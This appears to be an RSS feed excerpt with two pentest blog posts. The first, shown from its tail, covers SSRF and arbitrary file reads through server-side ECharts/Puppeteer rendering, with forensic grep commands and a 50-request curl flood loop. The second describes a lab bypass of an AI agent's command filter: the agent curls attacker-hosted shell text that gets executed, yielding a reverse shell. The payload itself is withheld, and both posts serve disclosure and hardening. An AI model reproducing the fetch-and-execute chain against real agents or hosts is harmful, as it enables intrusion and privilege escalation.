&lt;code&gt;.env&lt;/code&gt; for both the Node.js service and the PHP application&lt;/li&gt;
&lt;li&gt;various files under &lt;code&gt;/root&lt;/code&gt; and &lt;code&gt;/&lt;/code&gt;, with standard or slightly oblique names&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No particularly severe hard-coded secrets emerged from the PHP and Node.js code, but the combination of readable files and &lt;code&gt;.env&lt;/code&gt; files accessible via SSRF still represented a serious risk.&lt;/p&gt;

&lt;h2&gt;
  
  
  Forensics: what traces the attack leaves
&lt;/h2&gt;

&lt;p&gt;A part that often gets sidelined in pentest writeups is forensics. Here, I wanted to make it explicit because it is essential for the client to understand what remains in the logs after an attack of this kind, and for the professional it is important to leave a clean environment after a penetration test.&lt;/p&gt;

&lt;p&gt;The main activities left traces like these:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;POST /api/generate-chart&lt;/code&gt; and &lt;code&gt;GET /images/...&lt;/code&gt; requests ended up in Nginx &lt;code&gt;access.log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Accesses to the XHProf interface were also present in the HTTP logs.&lt;/li&gt;
&lt;li&gt;Path traversal attempts against the images directory generated errors in &lt;code&gt;error.log&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Generated PNGs were physically saved in a dedicated directory, accumulating artifacts on disk.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A hypothetical list of relevant logs, in a similar environment, would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/log/nginx/access.log           # HTTP requests, including SSRF payloads
/var/log/nginx/error.log            # errors, path traversal, stacktrace
/data/wwwroot/api-php/runtime/      # PHP application logs (KLogger)
/var/log/secure or /var/log/auth.log # SSH access and privilege elevation
/var/log/messages                   # generic system logs
/var/log/wtmp, /var/log/btmp        # login history and failed attempts 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A defender who wants to check for abuse of the vulnerability can start with commands like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# requests to the chart generation endpoint&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"generate-chart"&lt;/span&gt; /var/log/nginx/access.log

&lt;span class="c"&gt;# access to the XHProf interface on the dedicated port&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"8999"&lt;/span&gt; /var/log/nginx/access.log

&lt;span class="c"&gt;# path traversal attempts in images&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"images/../"&lt;/span&gt; /var/log/nginx/access.log

&lt;span class="c"&gt;# IPs with abnormal request volume&lt;/span&gt;
&lt;span class="nb"&gt;awk&lt;/span&gt; &lt;span class="s1"&gt;'{print $1}'&lt;/span&gt; /var/log/nginx/access.log | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On my side, in the report I explicitly documented which artifacts the activity left:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PNG files under the image directory of the chart-generation service&lt;/li&gt;
&lt;li&gt;lines in Nginx &lt;code&gt;access.log&lt;/code&gt; with requests to &lt;code&gt;/api/generate-chart&lt;/code&gt; and &lt;code&gt;/images/...&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;no changes to configurations or files outside the service output directory&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is a point I care about a lot as a freelancer: showing not only what is vulnerable, but also how clean and controlled my activity was.&lt;/p&gt;

&lt;h2&gt;
  
  
  Health check flood and service recovery
&lt;/h2&gt;

&lt;p&gt;During the tests I also ran into a side issue: a particularly heavy payload had caused the Puppeteer worker to get stuck.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;/api/health&lt;/code&gt; endpoint continued to respond, but requests to &lt;code&gt;/api/generate-chart&lt;/code&gt; timed out, which suggested that something in the worker was hanging.&lt;/p&gt;

&lt;p&gt;In a real environment, this kind of situation can happen with a clumsy attacker or an overly aggressive tester. The practical question becomes: how do you recover the service without direct access to the process?&lt;/p&gt;

&lt;p&gt;In this scenario, a controlled health-check flood was enough to force recovery.&lt;/p&gt;

&lt;p&gt;The command used was similar to this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;seq &lt;/span&gt;1 50&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;--max-time&lt;/span&gt; 2 &lt;span class="o"&gt;[&lt;/span&gt;http://XXX.XXX.XXX.XXX:3001/api/health]&lt;span class="o"&gt;(&lt;/span&gt;http://XXX.XXX.XXX.XXX:3001/api/health&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp;
&lt;span class="k"&gt;done
&lt;/span&gt;&lt;span class="nb"&gt;wait&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Fifty parallel requests to the health-check endpoint created enough pressure on Node.js’s event loop to force the process to actively handle the backlog.&lt;/p&gt;

&lt;p&gt;The observed result was telling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;most &lt;code&gt;/api/health&lt;/code&gt; requests succeeded&lt;/li&gt;
&lt;li&gt;some timed out due to temporary saturation&lt;/li&gt;
&lt;li&gt;after the flood, the chart-generation endpoint started completing requests again&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For the defender, this highlights several design issues:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;no rate limiting on the health check&lt;/li&gt;
&lt;li&gt;no isolation of Puppeteer workers&lt;/li&gt;
&lt;li&gt;dependence on a single Node.js process without strong memory-based auto-restart mechanisms&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The mitigation I recommended in the report was to use PM2 or an equivalent setup, with &lt;code&gt;max_memory_restart&lt;/code&gt;, multiple instances, cluster mode, and a simple rate limiter on &lt;code&gt;/api/health&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Technical recommendations to the client
&lt;/h2&gt;

&lt;p&gt;The core job of a freelance pentester is not to stop at the exploit. It is to translate findings into concrete actions for the client.&lt;/p&gt;

&lt;p&gt;The main technical recommendations I proposed were:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;drastically limit what the ECharts formatter can execute, avoiding arbitrary input functions&lt;/li&gt;
&lt;li&gt;block the &lt;code&gt;file://&lt;/code&gt; protocol in the Puppeteer rendering context, using launch options and code-level controls&lt;/li&gt;
&lt;li&gt;make the XHProf interface private or remove it entirely from exposed environments&lt;/li&gt;
&lt;li&gt;introduce authentication and authorization on chart-generation APIs to prevent unauthenticated abuse&lt;/li&gt;
&lt;li&gt;move &lt;code&gt;.env&lt;/code&gt; files and sensitive configurations outside the webroot and protect them at the web server level&lt;/li&gt;
&lt;li&gt;use a secrets management system (Vault, Key Vault, and similar) instead of readable files on disk&lt;/li&gt;
&lt;li&gt;configure rate limiting and circuit breakers on sensitive endpoints, including health checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;With the client, we also discussed priorities. First, mitigate the vulnerabilities that allow remote reading of configuration files and secrets; then address the “bonus” surfaces like XHProf; and finally work on service resilience, for example with better Puppeteer worker management.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned as a freelance pentester
&lt;/h2&gt;

&lt;p&gt;From a technical point of view, this work allowed me to put several skills into practice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;identifying and exploiting an SSRF + file-read chain in a nonstandard context&lt;/li&gt;
&lt;li&gt;using profiling tools exposed to the internet (XHProf) as intelligence sources, not just as curiosities&lt;/li&gt;
&lt;li&gt;automating file exfiltration with a script that is robust, maintainable, and extensible&lt;/li&gt;
&lt;li&gt;connecting application vulnerabilities to concrete impact on configuration, logs, and operational management&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;From a professional point of view, I took away a few important lessons.&lt;/p&gt;

&lt;p&gt;The first is that careful documentation makes a difference. It is one thing to say “there is an SSRF.” It is another to guide the client through the entire path: from the JSON input, to the generated chart, to the PNG containing the contents of a system file.&lt;/p&gt;

&lt;p&gt;The second is that, as a freelancer, you cannot afford to be only “the technical person.” You have to explain what you are doing, why you are doing it, and what the impact is, speaking the language of the people holding budgets and priorities. The report is not a bureaucratic attachment; it is the tool that turns an exploit into a security decision.&lt;/p&gt;

&lt;p&gt;The third is that a good pentest does not stop at the single vulnerability. Highlighting aspects like available logs, the traces left behind, and recovery options shows the client that you are thinking about the full incident lifecycle, not just the spectacular part.&lt;/p&gt;

&lt;p&gt;For me, this first freelance engagement was a real test of all of that. On the exploit side, I confirmed the ability to read arbitrary files on the server through Puppeteer and ECharts, reconstructed the filesystem in a meaningful way, and identified sensitive files that needed protection. On the professional side, I learned how to turn that analysis into a coherent technical story, usable by the client to make decisions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Final disclaimer:&lt;/strong&gt; the techniques described in this article were applied exclusively in an authorized and controlled context, against systems for which there was explicit testing authorization. Never test services or infrastructure without the consent of the owner or legal responsible party.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;After documenting this vulnerability, I followed responsible disclosure practices and reported the issue privately to the Apache Software Foundation Security Team.&lt;/p&gt;

&lt;p&gt;The ASF Security Team reviewed my report and responded promptly. They directed me to the official ECharts security guidelines, - &lt;a href="https://echarts.apache.org/handbook/en/best-practices/security/" rel="noopener noreferrer"&gt;https://echarts.apache.org/handbook/en/best-practices/security/&lt;/a&gt; - which explicitly state that ECharts treats inputs like label.formatter as trusted code, and that input sanitization is the responsibility of the application developer — not of ECharts itself. &lt;/p&gt;

&lt;p&gt;I reviewed the documentation and agree with their assessment. This is not a vulnerability in Apache ECharts. It is an application-level misconfiguration: a developer accepting untrusted user input and passing it directly to ECharts without sanitization, in a server-side rendering context where a headless browser executes it with access to the local filesystem.&lt;br&gt;
The takeaway for developers is clear: if you build a service that accepts ECharts configuration from external users and renders it server-side via Puppeteer or any headless browser, you must treat formatter fields — and all function-type inputs — as untrusted and potentially dangerous. Sanitize, reject, or allowlist them before they ever reach the renderer.&lt;br&gt;
The vulnerability is real. The attack works. The fix is on you.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;-&lt;/p&gt;

&lt;p&gt;_© 2026 Marco Altomare. All rights reserved.&lt;/p&gt;

&lt;p&gt;Analysis, texts, technical reconstructions, scripts, and original materials contained in this article belong to the author, unless otherwise indicated. Citation is allowed with proper attribution. Republishing, adapting, or commercial use requires prior written authorization._&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>webtesting</category>
      <category>webscraping</category>
      <category>appsec</category>
    </item>
    <item>
      <title>How a Simple HTTP Request Opened the Door to a Reverse Shell: Exposed OpenFang Instances</title>
      <dc:creator>Marco Altomare</dc:creator>
      <pubDate>Mon, 04 May 2026 13:28:51 +0000</pubDate>
      <link>https://dev.to/marco_altomare_0e7674642c/how-a-simple-http-request-opened-the-door-to-a-reverse-shell-exposed-openfang-instances-4cf5</link>
      <guid>https://dev.to/marco_altomare_0e7674642c/how-a-simple-http-request-opened-the-door-to-a-reverse-shell-exposed-openfang-instances-4cf5</guid>
      <description>&lt;h2&gt;
  
  
  How an allowed &lt;code&gt;curl&lt;/code&gt; request became a full reverse shell in an exposed Openclaw instance.
&lt;/h2&gt;

&lt;p&gt;A single &lt;strong&gt;HTTP request with curl&lt;/strong&gt;, pointed at a small &lt;strong&gt;HTTP server under my control&lt;/strong&gt; and a &lt;strong&gt;text file containing shell commands&lt;/strong&gt;, was enough to pivot an exposed OpenFang agent from “safe” behavior to a &lt;strong&gt;reverse shell on the host&lt;/strong&gt;. This article focuses on that chain: how a seemingly harmless fetch slipped through the defenses, how the retrieved text was interpreted as commands, and what this says about &lt;strong&gt;agent security in real environments&lt;/strong&gt;.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is a &lt;strong&gt;lab simulation based on a real class of vulnerabilities&lt;/strong&gt;. The target, infrastructure details, and payloads were simulated to avoid harming real systems, but the &lt;strong&gt;risk pattern is real&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  TL;DR of the Exploit Path
&lt;/h2&gt;

&lt;p&gt;In the lab, I:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Found an &lt;strong&gt;exposed OpenFang instance&lt;/strong&gt; simulating a realistic, Internet-facing agent.&lt;/li&gt;
&lt;li&gt;Observed that it &lt;strong&gt;blocked obviously malicious commands&lt;/strong&gt; and suspicious chains.&lt;/li&gt;
&lt;li&gt;Noticed that &lt;strong&gt;&lt;code&gt;curl&lt;/code&gt; was allowed&lt;/strong&gt; as a normal utility.&lt;/li&gt;
&lt;li&gt;Hosted a &lt;strong&gt;text file with a prepared shell command&lt;/strong&gt; on a small HTTP server I controlled.&lt;/li&gt;
&lt;li&gt;Asked the agent to &lt;strong&gt;fetch that file with curl&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Watched the fetched text be &lt;strong&gt;interpreted and executed&lt;/strong&gt;, resulting in a &lt;strong&gt;reverse shell in the lab&lt;/strong&gt; and, from there, &lt;strong&gt;privilege escalation&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key: the system inspected the &lt;strong&gt;shape of the initial request&lt;/strong&gt;, not the &lt;strong&gt;effect of the full chain&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Lab Setup
&lt;/h2&gt;

&lt;p&gt;The lab scenario reproduced a realistic situation: an &lt;strong&gt;agent instance reachable over the network&lt;/strong&gt;, discoverable with techniques similar to those used for exposed asset discovery (e.g., Shodan or FOFA). Public test environments, prototypes with weak authentication, agent consoles exposed for convenience, or rushed deployments are all patterns that already exist in many other domains.&lt;/p&gt;

&lt;p&gt;The simulated OpenFang instance was built to represent a product that &lt;strong&gt;tries to be safer than average&lt;/strong&gt;. It was not deliberately fragile. It &lt;strong&gt;blocked obvious abuse&lt;/strong&gt;, filtered &lt;strong&gt;clearly malicious instructions&lt;/strong&gt;, and behaved more cautiously than more permissive tools such as Openclaw. That made it a good target for testing &lt;strong&gt;non-trivial bypass paths&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Initial Behavior: What OpenFang Blocked
&lt;/h2&gt;

&lt;p&gt;From the first interactions, one thing was clear: OpenFang &lt;strong&gt;blocked commands with explicit offensive intent&lt;/strong&gt;. Direct abuse, obviously suspicious command chains, and instructions with strong signals of maliciousness were filtered. That is a good baseline – on paper.&lt;/p&gt;

&lt;p&gt;But an &lt;strong&gt;operational agent&lt;/strong&gt; is not just a text interpreter; it is an &lt;strong&gt;orchestrator of actions&lt;/strong&gt;. Controlling its risk means looking beyond what “looks bad” at first glance and analyzing what &lt;strong&gt;looks harmless&lt;/strong&gt; but becomes dangerous once embedded in a larger sequence.&lt;/p&gt;

&lt;p&gt;That is where the lab became interesting.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Turning Point: From Forbidden Command to Allowed Utility
&lt;/h2&gt;

&lt;p&gt;The turning point was changing the question from:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Will OpenFang execute this dangerous command?”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“Will OpenFang execute an &lt;strong&gt;apparently normal action&lt;/strong&gt; that can &lt;strong&gt;indirectly cause the same effect&lt;/strong&gt;?”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One of the best candidates for this is &lt;strong&gt;&lt;code&gt;curl&lt;/code&gt;&lt;/strong&gt;. In real environments, curl is everywhere: health checks, API calls, bootstrapping, configuration retrieval, artifact downloads, quick tests, troubleshooting, and service-to-service integration. A system that treats curl as always suspicious &lt;strong&gt;breaks itself&lt;/strong&gt;. A system that treats curl as always neutral &lt;strong&gt;trusts too much&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In the lab, &lt;strong&gt;curl was allowed&lt;/strong&gt;. It was not treated as inherently malicious. That immediately suggested a path: if OpenFang &lt;strong&gt;blocks a payload when it sees it directly&lt;/strong&gt;, but &lt;strong&gt;accepts a request to fetch remote text&lt;/strong&gt;, maybe the problem is not the payload. Maybe the problem is the &lt;strong&gt;gap between trust decision and effect&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Building the HTTP “Trampoline”
&lt;/h2&gt;

&lt;p&gt;The bypass hinged on one simple idea: &lt;strong&gt;move the dangerous part away from the place where controls are strongest&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Instead of presenting the agent with an obviously suspicious command, the flow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Presented a &lt;strong&gt;perfectly normal HTTP fetch&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Hid the actual shell command inside a &lt;strong&gt;remote text file&lt;/strong&gt; served by an HTTP server I controlled in the lab.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The agent saw a &lt;strong&gt;retrieval request&lt;/strong&gt;. It did &lt;strong&gt;not&lt;/strong&gt; see the final intent encoded in the file until &lt;strong&gt;after&lt;/strong&gt; the main checks had already passed.&lt;/p&gt;

&lt;p&gt;In abstract terms, the chain looked like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Prepare a minimal HTTP server&lt;/strong&gt; in the lab (e.g., a small Ubuntu Server VM).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Publish a text file&lt;/strong&gt; that contained a &lt;strong&gt;single shell command&lt;/strong&gt; tailored to the simulated environment.&lt;/li&gt;
&lt;li&gt;Ask OpenFang to &lt;strong&gt;run curl against that URL&lt;/strong&gt; to “retrieve a configuration/script snippet.”&lt;/li&gt;
&lt;li&gt;Let the agent &lt;strong&gt;fetch the file&lt;/strong&gt; from the lab server.&lt;/li&gt;
&lt;li&gt;Have the fetched text &lt;strong&gt;interpreted as a command&lt;/strong&gt; in the agent’s execution context.&lt;/li&gt;
&lt;li&gt;Use that command to &lt;strong&gt;open a remote shell&lt;/strong&gt; back to the lab.&lt;/li&gt;
&lt;li&gt;From there, within the simulation, &lt;strong&gt;escalate to higher privileges&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The important point is not that “a shell was obtained,” but that it arrived at the end of a sequence whose &lt;strong&gt;early steps looked legitimate and routine&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the Fetch Worked
&lt;/h2&gt;

&lt;p&gt;The remote fetch worked because the system &lt;strong&gt;trusted the medium more than the consequences&lt;/strong&gt;.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;curl&lt;/code&gt; was treated as a &lt;strong&gt;safe helper&lt;/strong&gt;, not as a potential &lt;strong&gt;execution vector&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The control logic focused on the &lt;strong&gt;local syntax of the initial request&lt;/strong&gt;, not on the &lt;strong&gt;semantics of the full chain&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once a tool like &lt;code&gt;curl&lt;/code&gt; is allowed without additional safeguards, it becomes a &lt;strong&gt;bridge between retrieval and execution&lt;/strong&gt;. Controls end up saying “this door looks normal,” without asking &lt;strong&gt;what crosses the threshold&lt;/strong&gt; or &lt;strong&gt;what happens next&lt;/strong&gt;. Many modern incidents do not start with a door that looks dangerous. They start with a door that looks &lt;strong&gt;too familiar to monitor closely&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Operational Chain and Logging Blind Spots
&lt;/h2&gt;

&lt;p&gt;To keep this writeup responsible, I am not publishing a copy‑pasteable payload or full operational details. What matters is the &lt;strong&gt;type of chain&lt;/strong&gt; observed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The agent &lt;strong&gt;accepted&lt;/strong&gt; a remote fetch request.&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;content fetched&lt;/strong&gt; was later &lt;strong&gt;interpreted&lt;/strong&gt;, not just stored.&lt;/li&gt;
&lt;li&gt;That interpretation &lt;strong&gt;triggered a session&lt;/strong&gt; on the machine hosting OpenFang.&lt;/li&gt;
&lt;li&gt;From there, given the simulated configuration, &lt;strong&gt;privilege escalation&lt;/strong&gt; was possible.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the progression was not:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;malicious input → immediate execution → compromise&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;but rather:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;neutral-looking request → remote content → reinterpretation → compromise&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For blue teams and architects, this highlights a logging problem: many systems capture the &lt;strong&gt;first step&lt;/strong&gt; well, but rarely reconstruct the &lt;strong&gt;meaning of the full chain&lt;/strong&gt;. If monitoring stops at the single event, you risk classifying a behavior as “banal” when it is already &lt;strong&gt;building a foothold&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Risk Indicators for Agent Runtimes
&lt;/h2&gt;

&lt;p&gt;From this lab, several &lt;strong&gt;clear risk indicators&lt;/strong&gt; emerged for agentic runtimes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Excessive trust&lt;/strong&gt; in “normal” system utilities like &lt;code&gt;curl&lt;/code&gt; or &lt;code&gt;wget&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No inspection&lt;/strong&gt; of content retrieved from remote sources before it is used.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missing strict allowlists&lt;/strong&gt; for destinations that the agent can reach.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Weak separation&lt;/strong&gt; between retrieval capabilities and execution capabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Partial monitoring&lt;/strong&gt; that logs the first step but not the downstream effects.&lt;/li&gt;
&lt;li&gt;Agents running with &lt;strong&gt;broader privileges than necessary&lt;/strong&gt; for their tasks.&lt;/li&gt;
&lt;li&gt;Difficulty evaluating not just the single input, but the &lt;strong&gt;composition of multiple allowed actions&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These indicators are not unique to OpenFang. They form a &lt;strong&gt;checklist&lt;/strong&gt; that can be applied to many operational agents and, more broadly, to autonomous or semi‑autonomous systems with access to shell, network, or orchestration tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools and Knowledge Used
&lt;/h2&gt;

&lt;p&gt;The lab itself required a fairly classic toolbox, applied to a modern agentic context:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shodan / FOFA&lt;/strong&gt;: modeling realistic exposure and discovering comparable public instances.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Linux userland tools&lt;/strong&gt;: studying how the agent handled allowed utilities such as &lt;code&gt;curl&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minimal HTTP server&lt;/strong&gt;: serving controlled remote content in the lab.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent behavior analysis&lt;/strong&gt;: observing blocks, exceptions, and allowed paths.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Threat modeling&lt;/strong&gt;: identifying trust boundaries and where risk can recombine.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardening mindset&lt;/strong&gt;: evaluating privileges, isolation, allowlists, and logging.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On the knowledge side, this scenario sits at the intersection of &lt;strong&gt;AI security&lt;/strong&gt;, &lt;strong&gt;prompt injection&lt;/strong&gt;, &lt;strong&gt;trust boundary analysis&lt;/strong&gt;, &lt;strong&gt;command execution&lt;/strong&gt;, &lt;strong&gt;abuse of legitimate utilities&lt;/strong&gt;, and &lt;strong&gt;basic post‑exploitation&lt;/strong&gt;. But at the core, the problem is simple: &lt;strong&gt;trusting the shape of a request instead of the behavior of the chain&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  What a Serious Defense Should Do
&lt;/h2&gt;

&lt;p&gt;A mature defense for operational agents cannot stop at blocking commands that “look bad.” It has to think in terms of &lt;strong&gt;capabilities, context, and consequences&lt;/strong&gt;. An action should be evaluated not only for what it is, but for what it &lt;strong&gt;enables next&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In practice, a minimum hardening set should include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Strict allowlists&lt;/strong&gt; for external destinations the agent can contact.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sandboxing or blocking&lt;/strong&gt; of remote fetches that are not strictly necessary.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content inspection&lt;/strong&gt; of downloaded material before it is ever executed or parsed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Strong separation&lt;/strong&gt; between retrieval, parsing, and execution paths.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Least privilege&lt;/strong&gt; and runtime isolation for the agent.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comprehensive logging&lt;/strong&gt; of intermediate steps, not just entry points.&lt;/li&gt;
&lt;li&gt;Policies that examine the &lt;strong&gt;execution chain&lt;/strong&gt;, not just the initial command line.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous validation&lt;/strong&gt; of controls with short, repeatable simulations, not only static policy reviews.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is one of the big differences between traditional application security and &lt;strong&gt;agent security&lt;/strong&gt;. In a classic app, you often defend a single function. In an agent, you have to defend a &lt;strong&gt;combinatorial capability&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why This Will Matter More Over Time
&lt;/h2&gt;

&lt;p&gt;As more agents gain access to real environments, these issues will leave the research world and become &lt;strong&gt;operational incidents&lt;/strong&gt;. DevOps, technical support, infrastructure automation, internal orchestration, helpdesk, monitoring, deployment, and operational analysis are all domains where an agent with system tools can add value. But precisely there, &lt;strong&gt;incomplete controls&lt;/strong&gt; become &lt;strong&gt;risk amplifiers&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The most useful tests are not the ones that show a totally open system is vulnerable – that is obvious. The interesting tests are the ones that show how an &lt;strong&gt;apparently cautious system&lt;/strong&gt; can still fail when it &lt;strong&gt;misjudges a sequence of legitimate actions&lt;/strong&gt;. That is the kind of subtle failure mode we are likely to see more often.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;This lab left me with a clear takeaway: &lt;strong&gt;agentic systems should be judged by the paths they allow, not only by the commands they ban&lt;/strong&gt;. The difference between “secure” and “bypassable” is often not a spectacular exploit, but a &lt;strong&gt;trusted utility&lt;/strong&gt;, a &lt;strong&gt;fetch assumed to be harmless&lt;/strong&gt;, and a &lt;strong&gt;security decision made one step too early&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In the OpenFang lab, what interested me was not a flashy trick but the fact that a more cautious system than many others could still be led off course by a &lt;strong&gt;simple, coherent, and believable chain based on curl and a text file&lt;/strong&gt;. For anyone working in &lt;strong&gt;purple teaming&lt;/strong&gt;, &lt;strong&gt;AI security&lt;/strong&gt;, or &lt;strong&gt;hardening autonomous runtimes&lt;/strong&gt;, this is a concrete reminder: real security starts when we stop reasoning only in terms of blacklists and begin reasoning in terms of &lt;strong&gt;behavioral chains&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If you work on &lt;strong&gt;AI security&lt;/strong&gt;, &lt;strong&gt;agent orchestration&lt;/strong&gt;, &lt;strong&gt;purple teaming&lt;/strong&gt;, or &lt;strong&gt;autonomous‑environment hardening&lt;/strong&gt;, this is a topic worth studying now, not later.&lt;/p&gt;

&lt;p&gt;-&lt;br&gt;
_&lt;br&gt;
© 2026 Marco Altomare. All rights reserved.&lt;/p&gt;

&lt;p&gt;The contents of this article, including but not limited to: texts and analysis, the kill chain reconstructions, OSINT analyses and correlation methodologies; technical contributions, the Python scripts, the Elasticsearch (ES|QL) queries and the Shodan search strategies; graphic elaborations, comparison tables of tools and structural diagrams; are the exclusive intellectual property of the author, Marco Altomare, except where otherwise specified or where trademarks belong to their respective owners.&lt;/p&gt;

&lt;p&gt;Any reproduction, distribution, modification, publication, or commercial use of the material, even in part or in summary form, without the prior written consent of the author, is strictly prohibited.&lt;/p&gt;

&lt;p&gt;Citation or sharing for research or informational purposes is permitted only on the condition that the original attribution is maintained and a direct link to the source is included. Any abuse or unauthorized use that violates copyright will be prosecuted under the law._&lt;/p&gt;

</description>
      <category>ai</category>
      <category>agents</category>
      <category>cybersecurity</category>
      <category>openclaw</category>
    </item>
    <item>
